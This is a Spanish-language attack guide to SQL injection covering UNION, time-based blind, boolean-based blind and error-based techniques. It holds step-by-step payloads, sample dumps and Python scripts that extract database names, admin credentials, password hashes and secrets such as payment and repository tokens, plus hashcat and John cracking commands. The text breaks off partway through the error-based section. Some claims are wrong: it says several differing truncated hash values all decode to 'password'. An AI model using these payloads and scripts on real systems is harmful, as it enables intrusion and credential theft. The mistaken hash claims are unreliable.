ATAQUE - SQL Injections & Exploitation
PART A: SQL Injections - Tipos y Técnicas
Detección Inicial
Paso 1: Identificar Puntos Inyectables
Ubicaciones comunes:
- Parámetros GET:
?id=1,?search=test - Parámetros POST: formularios, JSON
- Headers:
User-Agent,Referer,Cookie - Archivos subidos: nombres de archivo
Paso 2: Pruebas Básicas
URL original: http://target.com/product?id=1
Prueba 1: ?id=1'
Resultado: Error SQL VULNERABLE
Prueba 2: ?id=1' AND '1'='1
Resultado: Misma respuesta que ?id=1 SQLi CONFIRMADO
Prueba 3: ?id=1' AND '1'='2
Resultado: Diferente respuesta Boolean-based posible
Prueba 4: ?id=1' AND SLEEP(5) --
Resultado: Página tarda 5+ segundos Time-based posibleTIPOS DE SQL INJECTION
1. UNION-BASED SQLi
Características:
- Output visible en respuesta
- Más rápido que otros métodos
- Requiere saber número de columnas
Detección
Paso 1: Encontrar número de columnas (ORDER BY)
?id=1' ORDER BY 1 -- OK
?id=1' ORDER BY 2 -- OK
?id=1' ORDER BY 3 -- OK
?id=1' ORDER BY 4 -- ERROR (4 columnas total)
Conclusión: 3 columnas
Paso 2: Encontrar columna visible (UNION SELECT)
?id=1' UNION SELECT NULL,NULL,NULL --
?id=1' UNION SELECT 1,2,3 --
Si ves números en HTML columnas visiblesExplotación Paso a Paso - Enumeración Completa
PASO 1: Enumerar TODOS los nombres de Bases de Datos
?id=1' UNION SELECT SCHEMA_NAME, 2, 3 FROM INFORMATION_SCHEMA.SCHEMATA --Respuesta en HTML:
1. information_schema
2. mysql
3. performance_schema
4. target_app ← ENCONTRADA (BD objetivo)
5. wordpress
6. shopInterpretación:
information_schema,mysql,performance_schema= Sistema (ignorar)target_app= BD OBJETIVOwordpress,shop= Otras BDs (explorar después)
PASO 2: Enumerar TODOS los nombres de Tablas en BD objetivo
?id=1' UNION SELECT table_name, 2, 3 FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='target_app' --Respuesta en HTML:
1. users ← CRÍTICO (credenciales)
2. products
3. orders
4. admin_users ← MÁS CRÍTICO (admin credentials)
5. settings ← IMPORTANTE (API keys, secrets)
6. comments
7. logs
8. sessionsInterpretación:
admin_users= Tabla con credenciales de administrador (PRIORIDAD 1)users= Tabla con credenciales de usuarios (PRIORIDAD 2)settings= Configuración sensible (API keys, secrets) (PRIORIDAD 3)sessions= Sesiones activas (PRIORIDAD 4)logs= Auditoría (PRIORIDAD 5)products,orders,comments= Datos normales (BAJA PRIORIDAD)
PASO 3: Enumerar TODOS los nombres de Columnas en tabla CRÍTICA (admin_users)
?id=1' UNION SELECT column_name, 2, 3 FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='admin_users' AND table_schema='target_app' --Respuesta en HTML:
1. admin_id ← PK (identificador único)
2. admin_user ← USERNAME (necesario para login)
3. admin_pass ← PASSWORD (OBJETIVO CRÍTICO)
4. admin_email ← EMAIL
5. created_at ← FECHA DE CREACIÓN
6. is_active ← ESTADO (1=activo, 0=inactivo)
7. last_login ← ÚLTIMO ACCESO
8. role ← ROLE/PRIVILEGIOS (superadmin/admin/moderator)Interpretación:
admin_user+admin_pass= Credenciales de administradoris_active = 1= Admin activo (relevante para extraer)role = 'superadmin'= Máximos privilegios (prioridad máxima)
PASO 4: Enumerar TODOS los nombres de Columnas en tabla SECUNDARIA (users)
?id=1' UNION SELECT column_name, 2, 3 FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users' AND table_schema='target_app' --Respuesta en HTML:
1. id ← PK
2. username ← USERNAME (necesario para login)
3. password ← PASSWORD (OBJETIVO)
4. email ← EMAIL
5. api_token ← API TOKEN (ACCESO PROGRAMÁTICO)
6. is_admin ← FLAG ADMIN (1=admin, 0=normal)
7. created_at ← FECHA
8. last_login ← ÚLTIMO ACCESOInterpretación:
username+password= Credenciales de usuarioapi_token= Token para acceso API (muy valioso - acceso sin cambiar contraseña)is_admin = 1= Usuario admin (extraer PRIMERO estos)
PASO 5: Enumerar columnas de tabla SETTINGS (secretos)
?id=1' UNION SELECT column_name, data_type, 3 FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='settings' AND table_schema='target_app' --Respuesta en HTML:
1. id | int
2. setting_key | varchar ← CLAVE (nombre de setting)
3. setting_value | text ← VALOR (el secreto)
4. last_modified | datetimeInterpretación:
- Tabla clave-valor típica de configuración
setting_valueprobablemente contiene datos sensibles
PASO 6: Extraer datos - Tabla admin_users (CRÍTICO)
?id=1' UNION SELECT admin_user, admin_pass, admin_email FROM admin_users
WHERE is_active=1 --Respuesta en HTML:
ROW 1:
Columna 1: superadmin
Columna 2: $2y$10$KSvJjNX6CqYvx8XxHsYpH.dCfxM4mVxE6z0dVK8R8Y6z8Z0Ky3n0K
Columna 3: superadmin@target.com
ROW 2:
Columna 1: admin
Columna 2: $2y$10$9hU8F0pD2Mc7X2Q5sLaKe.YzTw4N8vB3mPqRsZ9xJ2k6cVdW5fH1y
Columna 3: admin@target.com
ROW 3:
Columna 1: moderator
Columna 2: $2y$10$5nL3M9Pz8Qx4aB1cD6eF.GhIjK2lM7nO9pQrS5tU3vWxY6zAaB8Cc
Columna 3: moderator@target.comInterpretación:
$2y$10$...= Bcrypt hash (más seguro que MD5)- Todos están activos (
is_active=1)
Acción: Crackear bcrypt hashes:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtPASO 7: Extraer datos - Tabla users (buscar admins)
?id=1' UNION SELECT username, password, email FROM users WHERE is_admin=1 --Respuesta en HTML:
Columna 1: john_admin
Columna 2: f3d9e86d9b1b4c0e (MD5)
Columna 3: john@target.com
Columna 1: maria_admin
Columna 2: 8c6976e5b5410415 (MD5)
Columna 3: maria@target.comAcción: Crackear MD5 (muy rápido):
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
# MD5 es débil, se crackea instantáneamentePASO 8: Extraer datos - Tabla settings (SECRETOS)
?id=1' UNION SELECT setting_key, setting_value, 3 FROM settings --Respuesta en HTML:
Row 1: api_key | sk-abc123def456ghi789 (↑ ACCESO PROGRAMÁTICO)
Row 2: secret_key | your_secret_key_here (↑ JWT SECRET)
Row 3: db_backup_path | /var/backups/db.sql (↑ UBICACIÓN BACKUP)
Row 4: mail_password | P@ssw0rd123 (↑ CREDENCIAL EMAIL)
Row 5: stripe_key | sk_live_abc123def456 (↑ ACCESO PAGOS)
Row 6: slack_webhook | https://hooks.slack.com/services/xxx (↑ ENVIAR MENSAJES)
Row 7: github_token | ghp_abc123def456xyz (↑ ACCESO REPOSITORIO)
Row 8: redis_password | RedisP@ss123 (↑ ACCESO CACHE)Impacto:
api_key= Acceso a API de la aplicaciónsecret_key= Decodificar/crear sesiones válidasdb_backup_path= Ubicación de backups (leer con LOAD_FILE)mail_password= Acceso a email de la appstripe_key= Acceso a sistema de pagosslack_webhook= Enviar mensajes a Slack (notificaciones, spam, etc)github_token= Acceso a código fuenteredis_password= Acceso a cache/sesiones
PASO 9: Extraer datos - Tabla users (TODOS LOS DATOS)
Método 1: Con CONCAT (para pocos registros)
?id=1' UNION SELECT CONCAT('ID:',id,' | USER:',username,' | PASS:',password,' | EMAIL:',email), 2, 3
FROM users LIMIT 20 --Método 2: Con GROUP_CONCAT (MEJOR - comprime muchos registros)
?id=1' UNION SELECT GROUP_CONCAT(CONCAT(id,'|',username,'|',password,'|',email) SEPARATOR '###'), 2, 3
FROM users --Respuesta en HTML (comprimida):
1|john|f3d9e86d9b1b4c0e|john@target.com###2|maria|8c6976e5b5410415|maria@target.com###3|admin|5f4dcc3b5aa765d6|admin@target.com###4|test|098f6bcd4621d373cade4e832627b4f6|test@target.com###...Interpretación:
- MD5
f3d9e86d9b1b4c0e= "password" - MD5
8c6976e5b5410415= "password" - MD5
5f4dcc3b5aa765d6= "password" - Todos usan contraseña débil
PASO 10: Extraer columnas con TIPOS (para entender mejor)
?id=1' UNION SELECT CONCAT(column_name, ' (',data_type,')'), 2, 3 FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='admin_users' AND table_schema='target_app' --Respuesta en HTML:
1. admin_id (int)
2. admin_user (varchar)
3. admin_pass (varchar)
4. admin_email (varchar)
5. created_at (datetime)
6. is_active (tinyint)
7. last_login (datetime)
8. role (varchar)Resumen Rápido - Commandos Cortos
-- Extraer versión
?id=1' UNION SELECT 1, version(), 3 --
-- Extraer usuario actual
?id=1' UNION SELECT 1, user(), 3 --
-- Extraer BD actual
?id=1' UNION SELECT 1, database(), 3 --
-- Extraer datos de tabla rápido
?id=1' UNION SELECT 1, username, password FROM users --
-- Extraer múltiples filas (GROUP_CONCAT)
?id=1' UNION SELECT 1, GROUP_CONCAT(username), 3 FROM users --2. TIME-BASED BLIND SQLi
Características:
- Sin output visible
- Se detecta por delay en respuesta
- Muy lento (bit a bit)
- Funciona casi siempre
Detección
?id=1' AND SLEEP(0) -- Respuesta rápida (0 seg)
?id=1' AND SLEEP(5) -- Respuesta tarda 5 seg = VULNERABLEExplotación Paso a Paso - Enumeración Completa letra por letra
PASO 1: Enumerar nombre de Base de Datos (carácter por carácter)
Objetivo: Extraer el nombre de la BD actual letra por letra
Método: Extraer SUBSTRING de database() en cada posición
?id=1' AND IF(SUBSTRING(database(),1,1)='t', SLEEP(5), 0) --Si tarda 5 seg = primer carácter es 't'
?id=1' AND IF(SUBSTRING(database(),2,1)='a', SLEEP(5), 0) --Si tarda = segundo carácter es 'a'
?id=1' AND IF(SUBSTRING(database(),3,1)='r', SLEEP(5), 0) --Tercer carácter es 'r'
Continuar hasta extraer el nombre completo: target_app
Script para automatizar:
import requests
import time
def extract_db_name(max_length=50):
db_name = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
for position in range(1, max_length):
for char in charset:
url = "http://192.168.1.100/app/search.php"
payload = f"?product=test' AND IF(SUBSTRING(database(),{position},1)='{char}', SLEEP(3), 0) --"
start = time.time()
try:
response = requests.get(url + payload, timeout=5)
elapsed = time.time() - start
if elapsed > 2:
db_name += char
print(f"Posicion {position}: {char} | BD actual: {db_name}")
break
except:
pass
if len(db_name) == position - 1:
break
return db_name
db = extract_db_name()
print(f"Base de datos: {db}")Resultado esperado: target_app
PASO 2: Enumerar nombres de Tablas en la BD (carácter por carácter)
Objetivo: Obtener el nombre de cada tabla disponible letra por letra
Método 1: Usar ORDER para obtener primera tabla
?id=1' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name LIMIT 1),1,1)='a', SLEEP(5), 0) --Si tarda = primer carácter de primera tabla (orden alfabético) es 'a'
Continuar para cada posición hasta obtener primer nombre de tabla
Método 2: Extraer tabla específica letra por letra
?id=1' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='target_app' LIMIT 1),1,1)='u', SLEEP(5), 0) --Si tarda = comienza con 'u' (users)
?id=1' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='target_app' LIMIT 1),2,1)='s', SLEEP(5), 0) --Segundo carácter es 's'
Continuar hasta obtener: users
Script para extraer todas las tablas:
def extract_table_names(database_name, num_tables=10):
tables = []
for table_offset in range(num_tables):
table_name = extract_table_at_offset(database_name, table_offset)
if table_name:
tables.append(table_name)
print(f"Tabla {table_offset + 1}: {table_name}")
else:
break
return tables
def extract_table_at_offset(database_name, offset):
table_name = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
for position in range(1, 50):
for char in charset:
payload = f"?product=test' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' ORDER BY table_name LIMIT {offset},1),{position},1)='{char}', SLEEP(3), 0) --"
if check_sleep_response(payload):
table_name += char
print(f" Posicion {position}: {char}")
break
if not table_name or len(table_name) == position - 1:
break
return table_name
tables = extract_table_names("target_app")
# Resultado: ['admin_users', 'comments', 'logs', 'orders', 'products', 'sessions', 'settings', 'users']Resultado esperado: admin_users, users, settings, products, orders, comments, logs, sessions
PASO 3: Enumerar nombres de Columnas (carácter por carácter)
Objetivo: Obtener el nombre de cada columna de tabla específica
Extraer primera columna de tabla admin_users:
?id=1' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1),1,1)='a', SLEEP(5), 0) --Primer carácter es 'a'
?id=1' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1),2,1)='d', SLEEP(5), 0) --Segundo carácter es 'd'
Continuar hasta obtener: admin_id
Script para extraer todas las columnas:
def extract_columns(table_name, num_columns=20):
columns = []
for column_offset in range(num_columns):
column_name = extract_column_at_offset(table_name, column_offset)
if column_name:
columns.append(column_name)
print(f"Columna {column_offset + 1}: {column_name}")
else:
break
return columns
def extract_column_at_offset(table_name, offset):
column_name = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
for position in range(1, 50):
for char in charset:
payload = f"?product=test' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' ORDER BY ordinal_position LIMIT {offset},1),{position},1)='{char}', SLEEP(3), 0) --"
if check_sleep_response(payload):
column_name += char
print(f" Posicion {position}: {char}")
break
if not column_name or len(column_name) == position - 1:
break
return column_name
columns = extract_columns("admin_users")
# Resultado: ['admin_id', 'admin_user', 'admin_pass', 'admin_email', 'created_at', 'is_active', 'last_login', 'role']Resultado esperado: admin_id, admin_user, admin_pass, admin_email, created_at, is_active, last_login, role
PASO 4: Enumerar Valores de Columna (carácter por carácter)
Objetivo: Extraer el contenido de las filas letra por letra
Extraer primer admin_user:
?id=1' AND IF(SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),1,1)='s', SLEEP(5), 0) --Primer carácter es 's'
?id=1' AND IF(SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),2,1)='u', SLEEP(5), 0) --Segundo carácter es 'u'
?id=1' AND IF(SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),3,1)='p', SLEEP(5), 0) --Tercer carácter es 'p'
Continuar hasta extraer: superadmin
Extraer admin_pass del mismo registro:
?id=1' AND IF(SUBSTRING((SELECT admin_pass FROM admin_users LIMIT 1),1,1)='$', SLEEP(5), 0) --Primer carácter del hash es '$'
Continuar letra por letra para obtener el hash bcrypt completo
Script para extraer valores de columna:
def extract_data(table_name, column_name, row_offset=0):
data = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_.-@$/:!"
for position in range(1, 150):
for char in charset:
escaped_char = char.replace("'", "\\'")
query = f"SELECT {column_name} FROM {table_name} LIMIT {row_offset}, 1"
payload = f"?product=test' AND IF(SUBSTRING(({query}),{position},1)='{escaped_char}', SLEEP(3), 0) --"
if check_sleep_response(payload):
data += char
print(f"Posicion {position}: {char} | Valor: {data}")
break
if len(data) == position - 1:
break
return data
admin_user = extract_data("admin_users", "admin_user", 0)
admin_pass = extract_data("admin_users", "admin_pass", 0)
print(f"Usuario: {admin_user}")
print(f"Password: {admin_pass}")Resultado esperado:
- admin_user: superadmin
- admin_pass: $2y$10$KSvJjNX6CqYvx8XxHsYpH.dCfxM4mVxE6z0dVK8R8Y6z8Z0Ky3n0K
PASO 5: Extraer múltiples registros (iterar offset)
Para obtener todos los usuarios de la tabla, cambiar offset en LIMIT:
?id=1' AND IF(SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1,1),1,1)='a', SLEEP(5), 0) --LIMIT 1,1 = segundo registro
?id=1' AND IF(SUBSTRING((SELECT admin_user FROM admin_users LIMIT 2,1),1,1)='m', SLEEP(5), 0) --LIMIT 2,1 = tercer registro
Continuar incrementando offset para extraer todos los registros
Tiempo total estimado:
- BD name (12 caracteres): 12 × 37 charset × 3 seg = 1332 seg = 22 minutos
- 8 tablas (promedio 12 caracteres cada una): 8 × 22 min = 176 minutos
- 8 columnas por tabla: 8 × 22 min = 176 minutos
- Extraer datos (500 filas × 60 caracteres promedio): Varias horas
Total: Decenas de horas para enumeración completa
Sin embargo, es método funcional cuando UNION y ERROR-BASED no están disponibles
3. BOOLEAN-BASED BLIND SQLi
Características:
- Sin output visible
- Basado en verdadero/falso
- La página cambia según resultado
- Más rápido que time-based (sin delay)
Detección
Primero establecer baseline:
- HTML de
?id=1(normal) - HTML de
?id=1' AND '1'='1(debe ser igual) - HTML de
?id=1' AND '1'='2(debe ser diferente)
Si (2) es igual a (1) y (3) es diferente, entonces BOOLEAN-BASED es vulnerable
Explotación Paso a Paso - Enumeración letra por letra
PASO 1: Enumerar nombre de Base de Datos (carácter por carácter)
Objetivo: Extraer nombre de BD usando condiciones booleanas
Método LIKE (más rápido):
?id=1' AND (SELECT database()) LIKE 't%' --Si la página retorna Respuesta A = primer carácter es 't'
?id=1' AND (SELECT database()) LIKE 'ta%' --Si la página retorna Respuesta A = primeros 2 caracteres son 'ta'
?id=1' AND (SELECT database()) LIKE 'tar%' --Si la página retorna Respuesta A = primeros 3 caracteres son 'tar'
Continuar hasta encontrar coincidencia completa: target_app
Método SUBSTRING + carácter por carácter (más lento):
?id=1' AND SUBSTRING(database(),1,1)='t' --Si la página retorna Respuesta A = primer carácter es 't'
?id=1' AND SUBSTRING(database(),2,1)='a' --Segundo carácter es 'a'
Continuar hasta obtener el nombre completo
Script para extraer BD:
import requests
def get_baseline():
url = "http://192.168.1.100/app/search.php?product=test"
response_true = requests.get(url + "' AND '1'='1' --")
response_false = requests.get(url + "' AND '1'='2' --")
return response_true.text, response_false.text
def check_condition(payload):
url = "http://192.168.1.100/app/search.php"
response = requests.get(url + payload)
baseline_true, baseline_false = get_baseline()
return response.text == baseline_true
def extract_db_name():
db_name = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
for position in range(1, 50):
for char in charset:
payload = f"?product=test' AND SUBSTRING(database(),{position},1)='{char}' --"
if check_condition(payload):
db_name += char
print(f"Posicion {position}: {char} | BD: {db_name}")
break
if len(db_name) == position - 1:
break
return db_name
db = extract_db_name()
print(f"Base de datos encontrada: {db}")Resultado esperado: target_app
PASO 2: Enumerar nombres de Tablas (carácter por carácter)
Objetivo: Obtener nombre de primera tabla en orden
Método LIKE:
?id=1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name LIMIT 1) LIKE 'a%' --Si Respuesta A = tabla comienza con 'a'
?id=1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name LIMIT 1) LIKE 'ad%' --Primeros dos caracteres son 'ad'
?id=1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name LIMIT 1) LIKE 'adm%' --Continuar hasta obtener: admin_users
Método SUBSTRING:
?id=1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),1,1)='a' --Primer carácter es 'a'
?id=1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),2,1)='d' --Segundo carácter es 'd'
Continuar letra por letra
Script para extraer tablas:
def extract_table_name(offset=0):
table_name = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
for position in range(1, 50):
for char in charset:
payload = f"?product=test' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name LIMIT {offset},1),{position},1)='{char}' --"
if check_condition(payload):
table_name += char
print(f"Tabla {offset} Posicion {position}: {char} | Nombre: {table_name}")
break
if len(table_name) == position - 1:
break
return table_name
# Extraer todas las tablas
tables = []
for i in range(20):
table = extract_table_name(i)
if table:
tables.append(table)
print(f"Tabla encontrada: {table}")
else:
break
print(f"Tablas: {tables}")Resultado esperado: admin_users, comments, logs, orders, products, sessions, settings, users
PASO 3: Enumerar nombres de Columnas (carácter por carácter)
Objetivo: Obtener nombre de cada columna en tabla
Método LIKE:
?id=1' AND (SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1) LIKE 'a%' --Si Respuesta A = primera columna comienza con 'a'
?id=1' AND (SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1) LIKE 'ad%' --Primeros dos caracteres son 'ad'
?id=1' AND (SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1) LIKE 'adm%' --Continuar hasta: admin_id
Método SUBSTRING:
?id=1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1),1,1)='a' --Primer carácter es 'a'
?id=1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1),2,1)='d' --Segundo carácter es 'd'
Continuar
Script para extraer columnas:
def extract_column_name(table_name, offset=0):
column_name = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
for position in range(1, 50):
for char in charset:
payload = f"?product=test' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' ORDER BY ordinal_position LIMIT {offset},1),{position},1)='{char}' --"
if check_condition(payload):
column_name += char
print(f"Columna {offset} Posicion {position}: {char}")
break
if len(column_name) == position - 1:
break
return column_name
# Extraer columnas de admin_users
columns = []
for i in range(20):
column = extract_column_name("admin_users", i)
if column:
columns.append(column)
print(f"Columna: {column}")
else:
break
print(f"Columnas: {columns}")Resultado esperado: admin_id, admin_user, admin_pass, admin_email, created_at, is_active, last_login, role
PASO 4: Enumerar valores de Columna (carácter por carácter)
Objetivo: Extraer contenido de filas
Método LIKE:
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 1) LIKE 's%' --Si Respuesta A = primer carácter es 's'
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 1) LIKE 'su%' --Primeros dos caracteres son 'su'
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 1) LIKE 'sup%' --Primeros tres caracteres son 'sup'
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 1) LIKE 'super%' --Continuar hasta obtener: superadmin
Método SUBSTRING:
?id=1' AND SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),1,1)='s' --Primer carácter es 's'
?id=1' AND SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),2,1)='u' --Segundo carácter es 'u'
Continuar letra por letra
Script para extraer datos:
def extract_value(query, row_offset=0):
value = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_.-@$/:!="
for position in range(1, 150):
for char in charset:
escaped_char = char.replace("'", "\\'")
payload = f"?product=test' AND SUBSTRING((SELECT {query} LIMIT {row_offset},1),{position},1)='{escaped_char}' --"
if check_condition(payload):
value += char
print(f"Posicion {position}: {char} | Valor: {value}")
break
if len(value) == position - 1:
break
return value
admin_user = extract_value("admin_user FROM admin_users")
admin_pass = extract_value("admin_pass FROM admin_users")
admin_email = extract_value("admin_email FROM admin_users")
print(f"Usuario: {admin_user}")
print(f"Password: {admin_pass}")
print(f"Email: {admin_email}")Resultado esperado:
- admin_user: superadmin
- admin_pass: $2y$10$KSvJjNX6CqYvx8XxHsYpH.dCfxM4mVxE6z0dVK8R8Y6z8Z0Ky3n0K
- admin_email: superadmin@target.com
PASO 5: Extraer múltiples registros (cambiar offset en LIMIT)
Para obtener todos los registros, incrementar offset en LIMIT:
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 0,1) LIKE 'super%' --LIMIT 0,1 = primer registro
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 1,1) LIKE 'a%' --LIMIT 1,1 = segundo registro
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 2,1) LIKE 'm%' --LIMIT 2,1 = tercer registro
Continuar incrementando offset para extraer todos
PASO 6: Método LENGTH para obtener longitud de datos
Para optimizar búsqueda, obtener primero la longitud:
?id=1' AND LENGTH((SELECT admin_user FROM admin_users LIMIT 1)) > 50 --Si Respuesta B (falso) = no tiene más de 50 caracteres
?id=1' AND LENGTH((SELECT admin_user FROM admin_users LIMIT 1)) > 10 --Si Respuesta A (verdadero) = tiene más de 10 caracteres
?id=1' AND LENGTH((SELECT admin_user FROM admin_users LIMIT 1)) = 10 --Si Respuesta A = tiene exactamente 10 caracteres
Saber la longitud ahorra iteraciones en búsqueda
PASO 7: Método BETWEEN para búsqueda binaria más rápida
Para acotar rangos de caracteres:
?id=1' AND SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),1,1) BETWEEN 'a' AND 'z' --Si Respuesta A = es letra minúscula
?id=1' AND SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),1,1) BETWEEN 'a' AND 'm' --Si Respuesta A = está en primera mitad del alfabeto
?id=1' AND SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),1,1) BETWEEN 'm' AND 'z' --Si Respuesta B = está en segunda mitad
Seguir dividiendo rangos (binary search) hasta encontrar carácter exacto
Comparativa de métodos:
LIKE: Más rápido, extrae múltiples caracteres por query SUBSTRING: Más lento, un carácter por query BETWEEN: Útil para búsqueda binaria LENGTH: Útil para determinar longitud antes de extraer
Velocidad relativa: LIKE > BETWEEN > LENGTH > SUBSTRING
4. ERROR-BASED SQLi
Características:
- Datos revelan información en mensaje de error
- Muy rápido (un request = un dato)
- Requiere que errores sean visibles en respuesta
- Funciona en MySQL, MSSQL, PostgreSQL, etc
Técnicas - Enumeración Paso a Paso
PASO 1: Extraer nombre de Base de Datos
-- MySQL: extractvalue()
?id=1' AND extractvalue(1, concat(0x7e, (SELECT database()))) --
ERROR:
XPATH syntax error: '~target_app'
-- El DB se llama: target_appAlternativa MySQL: updatexml()
?id=1' AND updatexml(1, concat(0x7e, (SELECT database())), 1) --
ERROR:
XML update fails for '~target_app'
-- El DB se llama: target_appAlternativa MSSQL: CONVERT()
?id=1' AND CONVERT(INT, database()) --
ERROR:
Conversion failed when converting varchar value 'target_app' to data type int.
-- El DB se llama: target_appPASO 2: Extraer usuario actual
?id=1' AND extractvalue(1, concat(0x7e, (SELECT user()))) --
ERROR:
XPATH syntax error: '~webapp@localhost'
-- Usuario: webapp@localhostPASO 3: Extraer versión de MySQL
?id=1' AND extractvalue(1, concat(0x7e, (SELECT version()))) --
ERROR:
XPATH syntax error: '~5.7.32-0ubuntu0.18.04.1'
-- Versión: MySQL 5.7.32PASO 4: Enumerar TODAS las Bases de Datos
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata))) --
ERROR:
XPATH syntax error: '~information_schema,mysql,performance_schema,target_app,wordpress'
-- BDs encontradas:
-- - information_schema (sistema)
-- - mysql (sistema)
-- - performance_schema (sistema)
-- - target_app (OBJETIVO)
-- - wordpressPASO 5: Enumerar TODAS las Tablas de BD objetivo
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='target_app'))) --
ERROR:
XPATH syntax error: '~users,products,orders,admin_users,settings,comments,logs,sessions'
-- Tablas encontradas:
-- - users (credenciales)
-- - admin_users (admin credentials - CRÍTICO)
-- - settings (API keys, secrets)
-- - productos, ordenes, comentarios, logs, sesionesPASO 6: Enumerar COLUMNAS de tabla crítica (admin_users)
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='admin_users'))) --
ERROR:
XPATH syntax error: '~admin_id,admin_user,admin_pass,admin_email,created_at,is_active,last_login,role'
-- Columnas encontradas:
-- - admin_id (PK)
-- - admin_user (USERNAME)
-- - admin_pass (PASSWORD - OBJETIVO)
-- - admin_email
-- - created_at
-- - is_active
-- - last_login
-- - rolePASO 7: Extraer DATOS - Primera fila de admin_users
?id=1' AND extractvalue(1, concat(0x7e, (SELECT CONCAT('USER:',admin_user,' | PASS:',admin_pass) FROM admin_users LIMIT 1))) --
ERROR:
XPATH syntax error: '~USER:superadmin | PASS:$2y$10$KSvJjNX6CqYvx8XxHsYpH.dCfxM4mVxE6z0dVK8R8Y6z8Z0Ky3n0K'
-- Admin encontrado:
-- Username: superadmin
-- Password hash: $2y$10$... (bcrypt)PASO 8: Extraer TODOS los admin_users (con GROUP_CONCAT)
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(admin_user,':',admin_pass) SEPARATOR '|') FROM admin_users))) --
ERROR:
XPATH syntax error: '~superadmin:$2y$10$KSv...|admin:$2y$10$9hU...|moderator:$2y$10$5nL...'
-- Todos los admins extraídos en un request:
-- superadmin:$2y$10$KSvJjNX6CqYvx8XxHsYpH...
-- admin:$2y$10$9hU8F0pD2Mc7X2Q5sLaKe...
-- moderator:$2y$10$5nL3M9Pz8Qx4aB1cD6eF...PASO 9: Extraer TODOS los usuarios normales + buscar admins
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(username,':',password,' (',is_admin,')') SEPARATOR '###') FROM users))) --
ERROR:
XPATH syntax error: '~john:f3d9e86d9b1b4c0e (0)###maria:8c6976e5b5410415 (0)###admin:5f4dcc3b5aa765d6 (1)###test:098f6bcd4621d373c (0)###...
-- Todos los usuarios extraídos:
-- john:f3d9e86d9b1b4c0e (normal)
-- maria:8c6976e5b5410415 (normal)
-- admin:5f4dcc3b5aa765d6 (ADMIN = 1)
-- test:098f6bcd4621d373c (normal)PASO 10: Extraer CONFIGURACIÓN SENSIBLE (settings)
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(setting_key,'=',setting_value) SEPARATOR '|') FROM settings))) --
ERROR:
XPATH syntax error: '~api_key=sk-abc123def456ghi789|secret_key=your_secret_key_here|db_backup_path=/var/backups/db.sql|mail_password=P@ssw0rd123|stripe_key=sk_live_abc123def456|slack_webhook=https://hooks.slack.com/services/xxx|github_token=ghp_abc123def456xyz'
-- Todos los secrets extraídos:
-- api_key=sk-abc123def456ghi789
